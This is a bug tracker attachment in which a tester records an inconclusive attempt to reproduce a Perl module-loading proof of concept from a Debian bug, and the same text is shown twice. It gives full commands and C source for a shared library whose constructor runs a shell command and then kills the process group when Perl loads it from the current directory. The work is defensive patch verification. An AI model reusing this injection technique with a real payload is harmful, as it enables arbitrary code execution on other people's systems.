Attachment 8339 Details for Bug 18894 – Inconclusive attempt to exercise a PoC

Inconclusive attempt to exercise a PoC

report.poc (text/plain), 1.19 KB, created by Len Lawrence on 2016-08-12 20:08:20 CEST

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Creator: Len Lawrence

Created: 2016-08-12 20:08:20 CEST

Size: 1.19 KB

patch

obsolete

>PoC at https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=829578
>
>$ mkdir -p '(eval 1)/auto/List/MoreUtils/'
>$ gcc -Wall -fPIC -shared moo.c -o '(eval 1)/auto/List/MoreUtils/MoreUtils.so'
>$ perl -e 'no lib "."; use List::MoreUtils'
>                (__)
>                (oo)
>          /------\/
>         / |    ||
>        *  /\---/\
>           ~~   ~~
>..."Have you mooed today?"...
>Segmentation fault
>
>$ locate auto/List/MoreUtils/MoreUtils.so
>/usr/lib/perl5/vendor_perl/5.20.1/x86_64-linux-thread-multi/auto/List/MoreUtils/MoreUtils.so
>
>moo.c contains:
>#include <signal.h>
>#include <stdlib.h>
>void __attribute__((constructor)) moo() {
>	system("apt-get moo");
>	kill(0, SIGSEGV);
>}
>
>moo seems to be specific to Debian so I replaced the system command with something arbitrary (magaeiawelcome in fact).
>
>Ran the three commands above, both before and after the update using modified moo.c.
>Directory (eval 1)/auto/List/MoreUtils was created in the cwd and contained the compiled object (executable).
>
>$ file MoreUtils.so 
>MoreUtils.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=559815b135830038c967dd0a2b486d325b9f0940, not stripped
>
>$ ./MoreUtils.so
>Segmentation fault
>
>

PoC at https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=829578

$ mkdir -p '(eval 1)/auto/List/MoreUtils/'
$ gcc -Wall -fPIC -shared moo.c -o '(eval 1)/auto/List/MoreUtils/MoreUtils.so'
$ perl -e 'no lib "."; use List::MoreUtils'
                (__)
                (oo)
          /------\/
         / |    ||
        *  /\---/\
           ~~   ~~
..."Have you mooed today?"...
Segmentation fault

$ locate auto/List/MoreUtils/MoreUtils.so
/usr/lib/perl5/vendor_perl/5.20.1/x86_64-linux-thread-multi/auto/List/MoreUtils/MoreUtils.so

moo.c contains:
#include <signal.h>
#include <stdlib.h>
void __attribute__((constructor)) moo() {
	system("apt-get moo");
	kill(0, SIGSEGV);
}

moo seems to be specific to Debian so I replaced the system command with something arbitrary (magaeiawelcome in fact).

Ran the three commands above, both before and after the update using modified moo.c.
Directory (eval 1)/auto/List/MoreUtils was created in the cwd and contained the compiled object (executable).

$ file MoreUtils.so 
MoreUtils.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=559815b135830038c967dd0a2b486d325b9f0940, not stripped

$ ./MoreUtils.so
Segmentation fault

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